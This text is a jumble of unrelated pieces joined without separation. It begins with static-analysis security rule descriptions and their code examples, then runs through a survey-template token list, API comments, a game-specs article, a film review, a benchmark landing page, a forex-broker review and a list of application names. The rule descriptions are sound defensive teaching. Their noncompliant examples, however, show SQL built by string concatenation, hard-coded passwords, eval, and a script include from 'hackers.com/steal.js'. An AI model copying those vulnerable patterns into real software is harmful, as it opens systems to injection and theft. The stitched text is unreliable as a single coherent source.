|
| squid:ClassVariableVisibilityCheck |
Public class variable fields do not respect the encapsulation principle and has three main disadvantages:
By using private attributes and accessor methods (set and get), unauthorized modifications are prevented. Noncompliant Code Examplepublic class MyClass { public static final int SOME_CONSTANT = 0; // Compliant - constants are not checked public String firstName; // Noncompliant } Compliant Solutionpublic class MyClass { public static final int SOME_CONSTANT = 0; // Compliant - constants are not checked private String firstName; // Compliant public String getFirstName() { return firstName; } public void setFirstName(String firstName) { this.firstName = firstName; } } ExceptionsBecause they are not modifiable, this rule ignores See
|
| squid:S3066 |
Noncompliant Code Examplepublic enum Continent { NORTH_AMERICA (23, 24709000), // ... EUROPE (50, 39310000); public int countryCount; // Noncompliant private int landMass; Continent(int countryCount, int landMass) { // ... } public void setLandMass(int landMass) { // Noncompliant this.landMass = landMass; } Compliant Solutionpublic enum Continent { NORTH_AMERICA (23, 24709000), // ... EUROPE (50, 39310000); private int countryCount; private int landMass; Continent(int countryCount, int landMass) { // ... } |
| php:S2068 |
Because it is easy to extract strings from a compiled application, credentials should never be hard-coded. Do so, and they're almost guaranteed to end up in the hands of an attacker. This is particularly true for applications that are distributed. Credentials should be stored outside of the code in a strongly-protected encrypted configuration file or database. Noncompliant Code Example$uname = "steve"; $password = "blue"; connect($uname, $password); Compliant Solution$uname = getEncryptedUser(); $password = getEncryptedPass(); connect($uname, $password); See
|
| php:S2964 |
Noncompliant Code Exampleif (is_bad_ip($requester)) { sleep(5); // Noncompliant } |
| php:S1523 |
The According to the PHP documentation
Noncompliant Code Exampleeval($code_to_be_dynamically_executed) See
|
| php:S3336 |
PHP's
For that reason, it's better to practice a little "tough love" with your users and force them to turn on cookies. Since Noncompliant Code Example; php.ini session.use_trans_sid=1 ; Noncompliant See
|
| php:S3337 |
This rule raises an issue when Noncompliant Code Example; php.ini enable_dl=1 ; Noncompliant Compliant Solution; php.ini enable_dl=0 See
|
| php:S3334 |
This rule raises an issue when either property is explicitly enabled in php.ini and when Noncompliant Code Example; php.ini Noncompliant; allow_url_fopen not explicitly disabled allow_url_include=1 ; Noncompliant Compliant Solution; php.ini allow_url_fopen=0 allow_url_include=0 See
|
| php:S3335 |
The This rule raises an issue when when Noncompliant Code Example; php.ini cgi.force_redirect=0 ; Noncompliant See
|
| php:S3332 |
Cookies without fixed lifetimes or expiration dates are known as non-persistent, or "session" cookies, meaning they last only as long as the browser session, and poof away when the browser closes. Cookies with expiration dates, "persistent" cookies, are stored/persisted until those dates. Non-persistent cookies should be used for the management of logged-in sessions on web sites. To make a cookie non-persistent, simply omit the
This rule raises an issue when See
|
| php:S3333 |
The
This is not a fool-proof configuration; it can be reset or overridden at the script level. But its use should be seen as a minimum due diligence
step. This rule raises an issue when Noncompliant Code Example; php.ini try 1 ; open_basedir="${USER}/scripts/data" Noncompliant; commented out ; php.ini try 2 open_basedir="/:${USER}/scripts/data" ; Noncompliant; root directory in the list Compliant Solution; php.ini try 1 open_basedir="${USER}/scripts/data" See
|
| php:S3338 |
This rule raises an issue when Noncompliant Code Example; php.ini file_uploads=1 ; Noncompliant Compliant Solution; php.ini file_uploads=0 See
|
| csharpsquid:S2228 |
Debug statements are always useful during development. But include them in production code - particularly in code that runs client-side - and you run the risk of inadvertently exposing sensitive information. Noncompliant Code Exampleprivate void DoSomething () { // ... Console.WriteLine ("so far, so good..."); // Noncompliant // ... } See
|
| csharpsquid:S2386 |
This rule raises issues for Noncompliant Code Examplepublic class A { public static string[] strings1 = {"first","second"}; // Noncompliant public static List<String> strings3 = new List<String>(); // Noncompliant // ... } ExceptionsNo issue is reported:
See
|
| csharpsquid:S2278 |
According to the US National Institute of Standards and Technology (NIST), the Data Encryption Standard (DES) is no longer considered secure:
For similar reasons, RC2 should also be avoided. Noncompliant Code Exampleusing (var tripleDES = new TripleDESCryptoServiceProvider()) //Noncompliant { //... } Compliant Solutionusing (var aes = new AesCryptoServiceProvider()) { //... } See
|
| csharpsquid:S2068 |
Because it is easy to extract strings from a compiled application, credentials should never be hard-coded. Do so, and they're almost guaranteed to end up in the hands of an attacker. This is particularly true for applications that are distributed. Credentials should be stored outside of the code in a strongly-protected encrypted configuration file or database. Noncompliant Code Examplestring username = "admin"; string password = "Password123"; // Noncompliant string usernamePassword = "user=admin&password=Password123"; // Noncompliant string usernamePassword2 = "user=admin&" + "password=" + password; // Noncompliant Compliant Solutionstring username = "admin"; string password = GetEncryptedPassword(); string usernamePassword = string.Format("user={0}&password={1}", GetEncryptedUsername(), GetEncryptedPassword()); See
|
| csharpsquid:S2070 |
The MD5 algorithm and its successor, SHA-1, are no longer considered secure, because it is too easy to create hash collisions with them. That is, it takes too little computational effort to come up with a different input that produces the same MD5 or SHA-1 hash, and using the new, same-hash value gives an attacker the same access as if he had the originally-hashed value. This applies as well to the other Message-Digest algorithms: MD2, MD4, MD6. This rule tracks usage of the Noncompliant Code Examplevar hashProvider1 = new MD5CryptoServiceProvider(); //Noncompliant var hashProvider2 = (HashAlgorithm)CryptoConfig.CreateFromName("MD5"); //Noncompliant var hashProvider3 = new SHA1Managed(); //Noncompliant var hashProvider4 = HashAlgorithm.Create("SHA1"); //Noncompliant Compliant Solutionvar hashProvider1 = new SHA256Managed(); var hashProvider2 = (HashAlgorithm)CryptoConfig.CreateFromName("SHA256Managed"); var hashProvider3 = HashAlgorithm.Create("SHA256Managed"); See
|
| csharpsquid:S1104 |
Public fields in public classes do not respect the encapsulation principle and has three main disadvantages:
By using private fields and public properties (set and get), unauthorized modifications are prevented. Properties also benefit from additional protection (security) features such as Link Demands. Note that due to optimizations on simple properties, public fields provide only very little performance gain. Noncompliant Code Examplepublic class Foo { public int instanceData = 32; // Noncompliant } Compliant Solutionpublic class Foo { private int instanceData = 32; public int InstanceData { get { return instanceData; } set { instanceData = value ; } } } ExceptionsFields marked as See
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| csharpsquid:S3884 |
Specifically, these methods are meant to be called from a non-managed code such as a C++ wrapper that then invokes the managed, i.e. C# or VB.NET, code. Noncompliant Code Example[DllImport("ole32.dll")] static extern int CoSetProxyBlanket([MarshalAs(UnmanagedType.IUnknown)]object pProxy, uint dwAuthnSvc, uint dwAuthzSvc, [MarshalAs(UnmanagedType.LPWStr)] string pServerPrincName, uint dwAuthnLevel, uint dwImpLevel, IntPtr pAuthInfo, uint dwCapabilities); public enum RpcAuthnLevel { Default = 0, None = 1, Connect = 2, Call = 3, Pkt = 4, PktIntegrity = 5, PktPrivacy = 6 } public enum RpcImpLevel { Default = 0, Anonymous = 1, Identify = 2, Impersonate = 3, Delegate = 4 } public enum EoAuthnCap { None = 0x00, MutualAuth = 0x01, StaticCloaking = 0x20, DynamicCloaking = 0x40, AnyAuthority = 0x80, MakeFullSIC = 0x100, Default = 0x800, SecureRefs = 0x02, AccessControl = 0x04, AppID = 0x08, Dynamic = 0x10, RequireFullSIC = 0x200, AutoImpersonate = 0x400, NoCustomMarshal = 0x2000, DisableAAA = 0x1000 } [DllImport("ole32.dll")] public static extern int CoInitializeSecurity(IntPtr pVoid, int cAuthSvc, IntPtr asAuthSvc, IntPtr pReserved1, RpcAuthnLevel level, RpcImpLevel impers, IntPtr pAuthList, EoAuthnCap dwCapabilities, IntPtr pReserved3); static void Main(string[] args) { var hres1 = CoSetProxyBlanket(null, 0, 0, null, 0, 0, IntPtr.Zero, 0); // Noncompliant var hres2 = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, RpcAuthnLevel.None, RpcImpLevel.Impersonate, IntPtr.Zero, EoAuthnCap.None, IntPtr.Zero); // Noncompliant } |
| csharpsquid:S3649 |
Applications that execute SQL commands should neutralize any externally-provided values used in those commands. Failure to do so could allow an attacker to include input that changes the query so that unintended commands are executed, or sensitive data is exposed. This rule raises an issue when user-provided values are concatenated into SQL statements. If user input must be part of the query, use one of the following mitigations, listed in order of effectiveness:
The following .NET Framework types implement the
Noncompliant Code Exampleusing System; using System.Data; using System.Data.SqlClient; namespace MyLibrary { public class Foo { public object Bar(string connection, string name, string password) { SqlConnection someConnection = new SqlConnection(connection); SqlCommand someCommand = new SqlCommand(); someCommand.Connection = someConnection; someCommand.CommandText = "SELECT AccountNumber FROM Users " + "WHERE Username='" + name + "' AND Password='" + password + "'"; // Noncompliant someConnection.Open(); object accountNumber = someCommand.ExecuteScalar(); someConnection.Close(); return accountNumber; } } } Compliant Solutionusing System; using System.Data; using System.Data.SqlClient; namespace MyLibrary { public class Foo { public object Bar(string connection, string name, string password) { SqlConnection someConnection = new SqlConnection(connection); SqlCommand someCommand = new SqlCommand(); someCommand.Connection = someConnection; someCommand.Parameters.Add( "@username", SqlDbType.NChar).Value = name; someCommand.Parameters.Add( "@password", SqlDbType.NChar).Value = password; someCommand.CommandText = "SELECT AccountNumber FROM Users " + "WHERE Username=@username AND Password=@password"; someConnection.Open(); object accountNumber = someCommand.ExecuteScalar(); someConnection.Close(); return accountNumber; } } } See
|
| csharpsquid:S1313 |
Hardcoding an IP address into source code is a bad idea for several reasons:
Noncompliant Code Examplevar ip = "<IP_ADDRESS>"; var address = IPAddress.Parse(ip); Compliant Solutionvar ip = ConfigurationManager.AppSettings["myapplication.ip"]; var address = IPAddress.Parse(ip); ExceptionsAlthough "::" is a valid IPv6 address, the rule doesn't report on it. See
|
| flex:S1466 |
The security.exactSettings value should remain set at the default value of true. Setting this value to false could make the SWF vulnerable to cross-domain attacks. Noncompliant Code ExampleSecurity.exactSettings = false; |
| flex:S1465 |
A LocalConnection object is used to invoke a method in another LocalConnection object, either within a single SWF file or between multiple SWF files. This kind of local connection should be authorized only when the origin (domain) of the other Flex applications is perfectly defined. Noncompliant Code ExamplelocalConnection.allowDomain("*"); Compliant SolutionlocalConnection.allowDomain("www.myDomain.com"); |
| flex:S1468 |
Calling Security.allowDomain("*") lets any domain cross-script into the domain of this SWF and exercise its functionality. Noncompliant Code ExampleSecurity.allowDomain("*"); Compliant SolutionSecurity.allowDomain("www.myDomain.com"); |
| flex:S1951 |
The Noncompliant Code Examplevar val:Number = doCalculation(); trace("Calculation result: " + val); // Noncompliant Compliant Solutionvar val:Number = doCalculation(); See
|
| flex:S1444 |
There is no good reason to declare a field "public" and "static" without also declaring it "const". Most of the time this is a kludge to share a state among several objects. But with this approach, any object can do whatever it wants with the shared state, such as setting it to Noncompliant Code Examplepublic class Greeter { public static var foo:Foo = new Foo(...); ... } Compliant Solutionpublic class Greeter { public static const FOO:Foo = new Foo(...); ... } See
|
| flex:S1442 |
Alert.show(...) can be useful for debugging during development, but in production mode this kind of pop-up could expose sensitive information to attackers, and should never be displayed. Noncompliant Code Exampleif(unexpectedCondition) { Alert.show("Unexpected Condition"); } See
|
| javascript:S2228 |
Debug statements are always useful during development. But include them in production code - particularly in code that runs client-side - and you run the risk of inadvertently exposing sensitive information, slowing down the browser, or even erroring-out the site for some users. Noncompliant Code Exampleconsole.log(password_entered); // Noncompliant See
|
| javascript:S3271 |
Session storage and local storage are HTML 5 features which allow developers to easily store megabytes of data client-side, as opposed to the 4Kb cookies can accommodate. While useful to speed applications up on the client side, it can be dangerous to store sensitive information this way because the data is not encrypted by default and any script on the page may access it. This rule raises an issue when the Noncompliant Code ExamplelocalStorage.setItem("login", login); // Noncompliant sessionStorage.setItem("sessionId", sessionId); // Noncompliant See
|
| javascript:S2611 |
Including content in your site from an untrusted source can expose your users to attackers and even compromise your own site. For that reason, this rule raises an issue for each non-relative URL. Noncompliant Code Examplefunction include(url) { var s = document.createElement("script"); s.setAttribute("type", "text/javascript"); s.setAttribute("src", url); document.body.appendChild(s); } include("http://hackers.com/steal.js") // Noncompliant See
|
| javascript:Eval |
The In general it is better to avoid it altogether, particularly when there are safer alternatives. Noncompliant Code Examplevar value = eval('obj.' + propName); // Noncompliant Compliant Solutionvar value = obj[propName]; ExceptionsThis rule will not raise an issue when the argument of the See
|
| javascript:DebuggerStatement |
The debugger statement can be placed anywhere in procedures to suspend execution. Using the debugger statement is similar to setting a breakpoint in the code. By definition such statement must absolutely be removed from the source code to prevent any unexpected behavior or added vulnerability to attacks in production. Noncompliant Code Examplefor (i = 1; i<5; i++) { // Print i to the Output window. Debug.write("loop index is " + i); // Wait for user to resume. debugger; } Compliant Solutionfor (i = 1; i<5; i++) { // Print i to the Output window. Debug.write("loop index is " + i); } See
|
| javascript:S2819 |
HTML5 adds the ability to send messages to documents served from other domains. According to the specification: Authors should not use the wildcard keyword ( To mitigate the risk of sending sensitive information to a document served from a hostile or unknown domain, this rule raises an issue each time
Noncompliant Code Examplevar myWindow = document.getElementById('myIFrame').contentWindow; myWindow.postMessage(message, "*"); // Noncompliant; how do you know what you loaded in 'myIFrame' is still there? See
|
| javascript:S3523 |
In addition to being obtuse from a syntax perspective, function constructors are also dangerous: their execution evaluates the constructor's string
arguments similar to the way In general it is better to avoid it altogether, particularly when used to parse JSON data. You should use ECMAScript 5's built-in JSON functions or a dedicated library. Noncompliant Code Examplevar obj = new Function("return " + data)(); // Noncompliant Compliant Solutionvar obj = JSON.parse(data); ExceptionsFunction calls where the argument is a string literal (e.g. |
| javascript:S1442 |
Noncompliant Code Exampleif(unexpectedCondition) { alert("Unexpected Condition"); } See
|
| javascript:S2817 |
The Web SQL Database standard never saw the light of day. It was first formulated, then deprecated by the W3C and was only implemented in some browsers. (It is not supported in Firefox or IE.) Further, the use of a Web SQL Database poses security concerns, since you only need its name to access such a database. Noncompliant Code Examplevar db = window.openDatabase("myDb", "1.0", "Personal secrets stored here", 2*1024*1024); // Noncompliant See
|
| python:S1313 |
Hardcoding an IP address into source code is a bad idea for several reasons:
Noncompliant Code Exampleip = '<IP_ADDRESS>' sock = socket.socket() sock.bind((ip, 9090)) Compliant Solutionip = config.get(section, ipAddress) sock = socket.socket() sock.bind((ip, 9090)) See
|


How to modify the template which defines the content, layout and style of survey results in the Survey module.
The list of the replacement tokens for the survey results template of the Survey module.
|
Token |
Description |
|
[SURVEY_OPTION_NAME] |
Displays the name of each option. |
|
[SURVEY_OPTION_VOTES] |
Displays the total number of votes for this option. |
|
SURVEY_OPTION_IMAGEPATH] |
Sets the image path to the survey bar graphic |
|
[SURVEY_OPTION_GRAPH_WIDTH] |
Enables the 'Maximum Bar Graph Width' setting |


While the Service Lifecycle Manager of SOCIETIES is an internal component not accessible to 3rd party services, it exposes an interface org.societies.api.services.IServices that provides some functionalities to 3rd party developers. Access to this component is obtained via normal Spring and OSGI methods. This API is still in development, with the current version offering these methods:
2 /**
3 * This method allows a third-party service to get its own ServiceResourceIdentifier by passing a reference to itself.
4 * Note that it only works after the service is fully started, so shouldn't be used in "init" methods of the bean.
5 *
6 * @param callingClass (i.e., "this")
7 * @return the service resource identifier of the service
8 */
9 public ServiceResourceIdentifier getMyServiceId(java.lang.Class> callingClass);
10
11 /**
12 * This method allows a service to retrieve its own name
13 *
14 * @param serviceId
15 * @return the name of the service
16 */
17 public String getMyName(ServiceResourceIdentifier serviceId);
18
19 /**
20 * This method allows a service to retrieve its version
21 *
22 * @param serviceId
23 * @return the service version
24 */
25 public String getMyVersion(ServiceResourceIdentifier serviceId);
26
27 /**
28 * This method is used by a third-party client service to get the node of its parent/server
29 *
30 * @param serviceId
31 * @return the node of the parent
32 */
33 public IIdentity getServer(ServiceResourceIdentifier serviceId);


{% extends 'base.html' %} {% block title_block %}Reset Password{% endblock %} {% block main_content %}
We've emailed instructions to reset your password.
If an account exists with the email you entered, you should receive the instructions shortly.
If you don't receive an email, please make sure you've entered the address you registered with, and check your spam folder.


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Darksiders Genesis PC requirements aren’t too apocalyptic
by Darryn BonthuysThe year may be almost over, but after a tsunami of high profile releases December seems to have a few gems tucked away within itself. One of those games by the look of things is Darksiders Genesis, which looks set to tie up the original story of Darksiders with a nice pretty bow. At first glance, it’s Diablo with a hefty chunk of hack ‘n slash, some Zelda dungeoneering thrown in for good measure and the debut of Strife as a playable member of the my little Horseman of the apocalypse club. Aces.
It’ll be out on pretty much every platform under the sun, but its PC gamers who’ll get a chance to flex Stryfe’s mighty sidearms in combat first, as the console versions of Darksiders Genesis will arrive in February 2020. So how much PC do you need to run the game? Surprisingly not much! Developer Gunfire Games have dropped the specs needed to run the game at its bare minimum and ultimate sexiness with all the settings turned up to max. See how your rig measures up:
Minimum PC settings
- Requires a 64-bit processor and operating system
- OS: Windows 7, 8, Windows 10 (64 bit)
- Processor: AMD FX-8320 (3.5 GHz) / Intel i5-4690K (3.5 GHz) or better
- Memory: 4 GB RAM
- Graphics: NVIDIA GeForce GTX 960
- DirectX: Version 11
- Storage: 15 GB available space
Recommended PC settings
- Requires a 64-bit processor and operating system
- OS: Windows 7, 8, Windows 10 (64 bit)
- Processor: Intel Core i7-3930K (3.2 GHz)/AMD Ryzen 5 1600 (3.2 GHz) or better
- Memory: 8 GB RAM
- Graphics: NVIDIA GeForce GTX 1060
- DirectX: Version 11
- Storage: 15 GB available space
Darksiders Genesis drops back into the fight on December 5 for PC and Google Stadia.


why are my goals important to me
Like most people, my ambissions allow me to become better at what I like to do
Personal Ambitions
How will I accomplish them?
Learn a new language until I get to native level:
For the first one, I work hard, study vocabulary, everyday, talk to natives, learn expressions and take courses.
Learn to draw:
Like before, I do it everyday, ask for help from professionals, use references
Professional Ambitions
>
How will I accomplish them?
Work as a game developper:
I talk and follow game developpers, as the job looks interresting


|
Graphitti
A toolkit/software architecture to ease creating high-performance neural network simulators
|
Public Member Functions | |
| ParameterManager (ParameterManager const &)=delete | |
| Delete these methods because they can cause copy instances of the singleton when using threads. | |
| void | operator= (ParameterManager const &)=delete |
| static ParameterManager & | getInstance () |
| Get Instance method that returns a reference to this object. | |
| ~ParameterManager () | |
| Utility Methods. More... | |
| bool | loadParameterFile (string path) |
| bool | getStringByXpath (string xpath, string &referenceVar) |
| Interface methods for simulator objects. More... | |
| bool | getIntByXpath (string xpath, int &referenceVar) |
| bool | getDoubleByXpath (string xpath, double &referenceVar) |
| bool | getFloatByXpath (string xpath, float &referenceVariable) |
| bool | getBGFloatByXpath (string xpath, BGFLOAT &referenceVar) |
| bool | getLongByXpath (string xpath, long &referenceVar) |
| bool | getIntVectorByXpath (const string &path, const string &elementName, vector< int > &referenceVar) |
Definition at line 38 of file ParameterManager.h.
| ParameterManager::~ParameterManager | ( | ) |
Utility Methods.
Class destructor Deallocate all heap memory managed by the class
Definition at line 53 of file ParameterManager.cpp.
| bool ParameterManager::getBGFloatByXpath | ( | string | xpath, |
| BGFLOAT & | referenceVar | ||
| ) |
Interface method to pull a BGFLOAT value from the xml schema. The calling object must know the xpath to retrieve the value.
This method is a wrapper to run the correct calls based on how BGFLOAT is defined for the simulator. (For multi-threaded usage, floats are used due to register size on GPUs, and double usage is available for single-threaded CPU instances.)
| xpath | The xpath for the desired float value in the XML file |
| referenceVar | The variable to store the float result into |
Definition at line 237 of file ParameterManager.cpp.
| bool ParameterManager::getDoubleByXpath | ( | string | xpath, |
| double & | referenceVar | ||
| ) |
Interface method to pull a double value from the xml schema. The calling object must know the xpath to retrieve the value.
| xpath | The xpath for the desired double value in the XML file |
| referenceVar | The variable to store the double result into |
Definition at line 162 of file ParameterManager.cpp.
| bool ParameterManager::getFloatByXpath | ( | string | xpath, |
| float & | referenceVariable | ||
| ) |
Interface method to pull a float value from the xml schema. The calling object must know the xpath to retrieve the value.
| xpath | The xpath for the desired float value in the XML file |
| referenceVariable | The variable to store the float result into |
Definition at line 197 of file ParameterManager.cpp.
| bool ParameterManager::getIntByXpath | ( | string | xpath, |
| int & | referenceVar | ||
| ) |
Interface method to pull an integer value from the xml schema. The calling object must know the xpath to retrieve the value.
| xpath | The xpath for the desired int value in the XML file |
| referenceVar | The variable to store the int result into |
Definition at line 120 of file ParameterManager.cpp.
| bool ParameterManager::getIntVectorByXpath | ( | const string & | path, |
| const string & | elementName, | ||
| vector< int > & | referenceVar | ||
| ) |
Interface method to pull a list of ints into a vector<int> from the xml schema. The calling object must match the elementName that stores the list. The xml files in the NLists directory name the element by which type of neuron lists is expected.
A - Active Neuron List I - Inhibitory Neuron List P - Probed Neuron List
| path | the path to the xml file to read from |
| elementName | The name of the element that stores the list of ints |
| referenceVariable | The reference variable to store the list of ints |
Definition at line 296 of file ParameterManager.cpp.
| bool ParameterManager::getLongByXpath | ( | string | xpath, |
| long & | referenceVar | ||
| ) |
Interface method to pull a long value from the xml schema. The calling object must know the xpath to retrieve the value.
| xpath | The xpath for the desired float value in the XML file |
| referenceVariable | The variable to store the long result into |
Definition at line 256 of file ParameterManager.cpp.
| bool ParameterManager::getStringByXpath | ( | string | xpath, |
| string & | referenceVar | ||
| ) |
Interface methods for simulator objects.
Interface method to pull a string object from the xml schema. The calling object must know the xpath to retrieve the value.
| xpath | The xpath for the desired string value in the XML file |
| referenceVar | The variable to store the string result into |
Definition at line 101 of file ParameterManager.cpp.
| bool ParameterManager::loadParameterFile | ( | string | path | ) |
Loads the XML file into a TinyXML tree. This is the starting point for all XPath retrieval calls for the client classes to use.
Definition at line 66 of file ParameterManager.cpp.


THE NEWTON BOYS 1998 A film review by Timothy Voon Copyright 1998 Timothy Voon 1 :-) for Hillbilly bank robbers
Cast: Matthew McConaughey, Ethan Hawke, Vincent D'Onofrio, Skeet Ulrich, Dwight Yoakam, Julianna Margulies, Chloe Webb, Charles Gunning Director: RichardLinklater Producer: Anne Walker-McBay Screenplay: Claude Stanush, Clark McBay, Richard Linklater
What could possibly go wrong if your simplest philosophies in life were - don't kill anyone and its okay to rob banks because they steal from farmers? If you're wandering who I am referring to, its none other than the infamous Newton brothers, those Yankee thieves who got away with emptying the vaults of more than 60 banks across the nation, plus pocketing more than 3 million big ones in their finale of a mail train heist.
But to be honest, I had never heard of the NEWTON BOYS until today.
However, this does not pose as a problem, because when you realise that this unique story is based on fact and not merely fictional, it makes it all the more amazing. These boys on first appearances are genuine, regular decent looking lads, who you would probably trust with looking after your house if on holiday.
The cast is impressive. Matthew McConaughey heads this cast of young popular Hollywood actors to hit the screen. He is Willis Newton, the mastermind and motivator of the brothers. Ethan Hawke plays Jess Newton, the carefree, less responsible brother with a sense of humour who carries the same vein of womanising, heavy drunkeness of older, irresponsible brother Doc Newton, played by Vincent D'Onofrio. Finally, there is the sweet, good-natured Joe Newton played by Skeet Ulrich, who is more even tempered here than when last seen in SCREAM.
Overall, an interesting historical dramatisation, for anyone interested in a piece of American Hill Billy pop culture.
Timothy Voon e-mail<EMAIL_ADDRESS>Movie Archives http://us.imdb.com/M/reviews_by?Tim+Voon Hugues Bouclier's Movies in Melbourne http://www.labyrinth.net.au/~bouclier/week/movies.html
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


---
layout: landing
title: DeepOBS
excerpt: A Deep Learning Optimizer Benchmark Suite
article_header:
actions:
- text: Install
type: error
url: "#install"
- text: Docs
type: outline-theme-dark
url: https://deepobs.readthedocs.io/
- text: Leaderboard
url: "#Leaderboard"
height: 100vh
type: overlay
theme: dark
background_color: '#afb3b7'
background_image:
gradient: "linear-gradient(rgba(0, 0, 0, .2), rgba(0, 0, 0, .6))"
src: /assets/images/DeepOBS-Banner.png
data:
sections:
- title: About DeepOBS
excerpt: DeepOBS is a benchmarking suite that drastically simplifies, automates and improves the evaluation of deep learning optimizers. It can evaluate the performance of new optimizers on a variety of real-world test problems and automatically compare them with realistic baselines.
children:
- title:
Fast
excerpt: You only have to code your new optimizer, we take care of the benchmarking for you!
# actions:
# - text: Learn More
# url: /docs/en/additional-styles
- title:
Fair
excerpt: Automatically use competitive baselines!
# actions:
# - text: Learn More
# url: /docs/en/extensions
- title:
Comparable
excerpt: The same test problems for all optimizers!
# actions:
# - text: Learn More
# url: /docs/en/markdown-enhancements
- title: How to Install DeepOBS
excerpt: You can install the latest stable release of DeepOBS using pip
content: pip install deepobs
You are ready to dive into the tutorials found in the DeepOBS documentation.
- title: Leaderboard
excerpt: Overview over the current optimizer leaderboard on the DeepOBS test problems. Click on See Full Results to see the plots and tables of the full benchmarking results.
children:
- title: Quadratic Deep
excerpt: A 100-dimensional noisy quadratic problem with an eigenspectrum similar to the one reported for deep neural networks.
| Optimizer | Test Loss | Speed |
| #1 | Momentum | 87.05 | 70.5 |
| #2 | Adam | 87.11 | 39.9 |
| #3 | SGD | 87.40 | 51.1 |
actions:
- text: See Full Results
url: /leaderboardP1.html
- title: MNIST - VAE
excerpt: A basic variational autoencoder for the MNIST data set with three convolutional and three deconvolutional layers.
| Optimizer | Test Loss | Speed |
| #1 | Adam | 27.83 | 1.0 |
| #2 | SGD | 38.46 | 1.0 |
| #3 | Momentum | 52.93 | 1.0 |
actions:
- text: See Full Results
url: /leaderboardP2.html
- title: F-MNIST - CNN
excerpt: A simple convolutional network for the Fashion-MNIST data set, consisting of two conv and two fully-connected layers.
| Optimizer | Test Accuracy | Speed |
| #1 | Adam | 92.34 % | 40.1 |
| #2 | SGD | 92.27 % | 40.6 |
| #3 | Momentum | 92.14 % | 59.1 |
actions:
- text: See Full Results
url: /leaderboardP3.html
- title: CIFAR-10 - CNN
excerpt: A slightly larger convolutional network for the Cifar-10 data set, with three conv and three fully-connected layers.
| Optimizer | Test Accuracy | Speed |
| #1 | Adam | 84.75 % | 36.0 |
| #2 | Momentum | 84.41 % | 40.7 |
| #3 | SGD | 83.71 % | 42.5 |
actions:
- text: See Full Results
url: /leaderboardP4.html
- title: F-MNIST - VAE
excerpt: A basic variational autoencoder for the Fashion-MNIST data set with three convolutional and three deconvolutional layers.
| Optimizer | Test Loss | Speed |
| #1 | Adam | 23.07 | 1.0 |
| #2 | SGD | 23.80 | 1.0 |
| #3 | Momentum | 59.23 | 1.0 |
actions:
- text: See Full Results
url: /leaderboardP5.html
- title: CIFAR-100 - All CNN C
excerpt: Variant C of the All Convolutional Network from Striving for Simplicity for the CIFAR-100 data set consisting solely of convolutional layers.
| Optimizer | Test Accuracy | Speed |
| #1 | Momentum | 60.33 % | 72.8 |
| #2 | SGD | 57.06 % | 128.7 |
| #3 | Adam | 56.15 % | 152.6 |
actions:
- text: See Full Results
url: /leaderboardP6.html
- title: SVHN - Wide ResNet 16-4
excerpt: The Wide ResNet 16-4 for the Street View House Numbers data set using the variant with 16 conv layers and a widening factor of 4.
| Optimizer | Test Accuracy | Speed |
| #1 | Momentum | 95.53 % | 10.8 |
| #2 | SGD | 95.37 % | 28.3 |
| #3 | Adam | 95.25 % | 12.1 |
actions:
- text: See Full Results
url: /leaderboardP7.html
- title: Tolstoi - Char RNN
excerpt: A recurrent neural network for character-level language modeling on the novel War and Peace by Leo Tolstoy using two LSTM layers.
| Optimizer | Test Accuracy | Speed |
| #1 | SGD | 62.07 % | 47.7 |
| #2 | Momentum | 61.30 % | 88.0 |
| #3 | Adam | 61.23 % | 62.8 |
actions:
- text: See Full Results
url: /leaderboardP8.html
- title: DeepOBS is Open Source
excerpt: If you use DeepOBS in your research, please cite our paper.
content: '@InProceedings{ schneider2018deepobs,
Title = {Deep{OBS}: A Deep Learning Optimizer Benchmark Suite},
Author = {Frank Schneider and Lukas Balles and Philipp Hennig},
Booktitle = {International Conference on Learning Representations},
Year = {2019},
Url = {https://openreview.net/forum?id=rJg6ssC5Y7}
}'
---


Account Validation
The questionnaire was standard, no weird question, just the usual regulatory things. The design of that part of the app was a bit too basic to my test (it's the first interaction with the user, more effort could be put into it) and not 100% thought for mobile ("Drag my file"?). But it wasn't buggy, it worked fine, and the back office validated documents very quickly. At this point though, I was far from overwhelmed with the graphic environment I was diving into.
Funding Process
The funding process was effective and fast. I would say it looked even a bit better than the account questionnaire, so I was starting to feel a bit more interested in this app. To my surprise, there was no minimum deposit. Yop, you read that right, you can deposit €1 if you want. You can even verify
here. However, on mobile, you can only deposit via credit card, while you can use other methods, including PayPal, on the web version (unfair!). The amount was credited to my balance immediatly and I could start trading right away.
Withdrawals
A very bad point is that I couldn't withdraw from the app directly. The option is not provided (!). You have to go to the website to make a request. But Oanda does process requests, no problem (see screenshots), they can have the verified badge. I could even withdraw my €100 welcome bonus after I met the conditions (initial deposit €200 or more, no minimum volume to trade, only to wait for one month), I had never seen this with any other broker. So I initially deposited €210 in April 2016, then traded a bit to test some strategies, and overall lost around €30. Thanks to the bonus though, I could withdraw €200 + €71.23, total €271.23! I don't think that bonus will still exist at the time you read these lines, but just to say that Oanda is really trustworthy.
Trading Experience
The app is very complex, to say the least. If you are a beginner, honestly, forget it. If you are, however, an experienced trader, you will find the app to be very comprehensive and powerful, despite the low quality of the charts. What is great with Oanda is that there is no minimum trade size. Yes, again, you read that right, you can trade ridiculously low amounts, which makes Oanda a great choice to test strategies in real conditions, since you can risk just a few cents per trade if you like (see my example trade that uses only €1 for margin). That is not common for a forex broker (not comparing with binary options brokers here). Another great feature is the possibility to define default settings for your trades (trade size, stop distance, etc.).
Customer Support
Fast replies, and on point (see screenshots about my enquiry regarding their bonus). However, Oanda is a bit old-fashion, and still does the sales call thing when you open your account. I don't know about you, but I don't like to be called, for anything, and especially by brokers (that I just "met"). This sounds like a dodgy practice even if it's not necessarily one on the case of Oanda. Because of the reputation of the industry I think they should approach the onboarding process differently. I definitely put them on the trustworthy side, so I'd like to see them using different practices.


Application Name:
Meltwater Social Media Monitoring
Legislative Reconciliation
Socrata Open Data Portal (data.hawaii.gov)
FAMIS Annual Rpt.
FMS Modernization DOE
BUF-EUTF - Accounting System
Recordation
DAGS - SPO - WP - spo.hawaii.gov
wpwiki.hawaii.gov
Warrant Reconciliation
KEIKI Modernization
Kofax Imaging Capture


JCR and Jackrabbit API
